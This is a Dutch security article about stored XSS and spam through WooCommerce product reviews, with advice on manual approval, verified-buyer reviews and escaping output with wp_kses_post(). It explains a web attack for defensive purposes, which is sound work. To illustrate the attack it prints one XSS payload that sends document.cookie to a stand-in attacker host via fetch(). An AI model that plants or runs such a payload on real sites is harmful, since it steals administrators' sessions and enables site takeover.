Productbeoordelingen (reviews) zijn een krachtig instrument om het vertrouwen van consumenten te winnen en de verkoop in een WooCommerce-webshop te stimuleren. Echter, omdat beoordelingen in feite formulieren zijn die invoer van het publiek accepteren en opslaan in de database, vormen ze een aantrekkelijk doelwit voor cybercriminelen. Zonder adequate beveiliging kunnen productbeoordelingen worden misbruikt voor grootschalige spam-campagnes of, erger nog, voor het injecteren van Stored Cross-Site Scripting (XSS) malware.

Het mechanisme van Stored XSS in beoordelingen

WordPress maakt intern gebruik van het reactiesysteem (wp_comments) om WooCommerce-productbeoordelingen af te handelen. Wanneer een klant een review achterlaat, wordt de tekst opgeslagen in de database en vervolgens weergegeven op de productpagina, zodat toekomstige bezoekers deze kunnen lezen.

Als een plug-in die de lay-out van de reviews aanpast, of als een aangepast thema vergeet om de invoer te filteren, kan een aanvaller kwaadaardige JavaScript-code invoeren in het reviewveld:

HTML
 
<script>fetch('https://hacker.com/steal?cookie=' + document.cookie);</script>

Wanneer de administrator later het WordPress-dashboard opent om de ingekomen beoordelingen te keuren, voert zijn browser dit script ongemerkt uit. Omdat de administrator de hoogste rechten heeft, kan het script misbruik maken van zijn actieve sessie om in het geheim een nieuw administrator-account aan te maken of de webshop-instellingen te wijzigen.

SEO Spam en reputatieschade

Naast XSS is review-spam een groot probleem. Geautomatiseerde bots zoeken naar WooCommerce-shops waar beoordelingen direct zonder goedkeuring worden gepubliceerd. Ze plaatsen duizenden nepreviews met links naar illegale goksites, namaakgoederen of farmaceutische producten. Dit verhoogt niet alleen de belasting van uw database, maar leidt er ook toe dat zoekmachines zoals Google uw webshop kunnen bestempelen als onveilig, wat rampzalige gevolgen heeft voor uw SEO-posities.

Hoe ontwikkelaars en beheerders reviews beveiligen

1. Dwing handmatige goedkeuring af

De eenvoudigste en effectiefste organisatorische maatregel is het verplichten van goedkeuring voor reviews. Ga in WordPress naar Instellingen > Discussie en vink de optie "Reacties moeten handmatig worden goedgekeurd" aan. Hierdoor verschijnen beoordelingen pas op de site nadat u ze heeft gecontroleerd.

2. Beperk reviews tot geverifieerde kopers

WooCommerce heeft een uitstekende ingebouwde optie om review-spam tegen te gaan. Ga naar WooCommerce > Instellingen > Producten en schakel de optie "Beoordelingen kunnen alleen worden achtergelaten door 'geverifieerde eigenaren'" in. Dit zorgt ervoor dat alleen klanten die het product daadwerkelijk hebben gekocht, een review kunnen achterlaten, wat bots effectief buitensluit.

3. Correcte output-escaping voor ontwikkelaars

Als u als ontwikkelaar de weergave van productbeoordelingen aanpast, zorg er dan voor dat u de data altijd filtert met wp_kses_post() of esc_html() bij het renderen van de tekst:

PHP
 
// VEILIGE WEERGAVE VAN REVIEW INHOUD
echo wp_kses_post($comment->comment_content);

wp_kses_post() staat veilige HTML-tags (zoals links en dikgedrukte tekst) toe, maar verwijdert direct alle gevaarlijke JavaScript-elementen en <script> tags.